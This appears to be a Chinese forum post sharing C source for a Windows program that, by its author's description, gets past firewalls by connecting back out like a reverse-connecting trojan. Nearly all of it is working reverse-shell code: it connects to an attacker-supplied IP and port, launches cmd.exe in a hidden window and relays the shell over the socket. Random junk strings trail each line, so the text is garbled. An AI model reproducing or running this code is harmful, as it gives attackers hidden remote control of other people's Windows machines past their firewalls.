这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !E_|Zp]up
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/* ============================== +zq"dj_
Rebound port in Windows NT U{LS_VI~
By wind,2006/7 aNNRw(0/
===============================*/ u%E8&T8,
#include U1pE2o-
#include p@uHzu7
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#pragma comment(lib,"wsock32.lib") MSeg7/ MF
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void OutputShell(); e84%Y8,0
SOCKET sClient; 0GeL">v,:=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NA'45}fQ
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void main(int argc,char **argv) Dm8fcD
{ XMT@<'fI
WSADATA stWsaData; ",Vx.LV
int nRet; RWo7_X O
SOCKADDR_IN stSaiClient,stSaiServer; wvxz:~M
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if(argc != 3) Mx`';z8~
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printf("Useage:\n\rRebound DestIP DestPort\n"); ; '
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return; >~Tn%u<
} i8-Y,&>V
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WSAStartup(MAKEWORD(2,2),&stWsaData); % XZ&(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ilHf5$
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stSaiClient.sin_family = AF_INET; ?eX/vqk
stSaiClient.sin_port = htons(0); 92A9gY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8wOscL f:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SJMbYjn0J
{ 3W_7xLA
printf("Bind Socket Failed!\n"); cSV&p|
return; uL1lB@G@
} 5;p|iT
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stSaiServer.sin_family = AF_INET; q oi21mCn
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X9]} UX
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t&q~ya/C
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #{J~
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printf("Connect Error!"); ~+Pe=~a[
return; eL(<p]
} ~&qv[XS
OutputShell(); z
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} y2s(]#8
~h
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void OutputShell() aEIz,^3
{ 1 Ga3[g
char szBuff[1024]; R5^6Kwu
SECURITY_ATTRIBUTES stSecurityAttributes; E&y)`>Nq{
OSVERSIONINFO stOsversionInfo; Xy=ETV%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; ]j6pd*H
char *szShell; uyB 2
PROCESS_INFORMATION stProcessInformation; `NgQ>KV!
unsigned long lBytesRead; _LC*_LT_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 37a1O>A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A-=hvJ5T
stSecurityAttributes.lpSecurityDescriptor = 0; Xnjl {`
stSecurityAttributes.bInheritHandle = TRUE; C5I7\9F)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W4 d32+V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ti_G
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ``VE<:2+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i.)n#@M2
stStartupInfo.wShowWindow = SW_HIDE; t^YtP3`?b
stStartupInfo.hStdInput = hReadPipe; jmaw-Rx
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Jk&!(YK&
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GetVersionEx(&stOsversionInfo); z`E=V
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switch(stOsversionInfo.dwPlatformId) : q%1Vi
{ <iU@ M31
case 1: np6G~0Y`
szShell = "command.com"; 2v4K3O60G
break; } f&=}
default: Zf!Q4a"
szShell = "cmd.exe"; ,;w~ VZ4
break; klFS3G
} sV{\IgH/x
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 59l9_yFJ
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send(sClient,szMsg,77,0); X coPkW
while(1) Q> y!
{ _1G/qHf^S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &k}B66
if(lBytesRead) DAWF
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{ q 9xA.*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^#Q-?O
send(sClient,szBuff,lBytesRead,0); V^[&4
} "ckK{kS4~
else wW\@^5
{ P*
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lBytesRead=recv(sClient,szBuff,1024,0); L f"!:]
if(lBytesRead<=0) break; A"b31*_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qQ3Q4R\
} q/I( e
} ;2`6eyr
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return; mL`8COA
}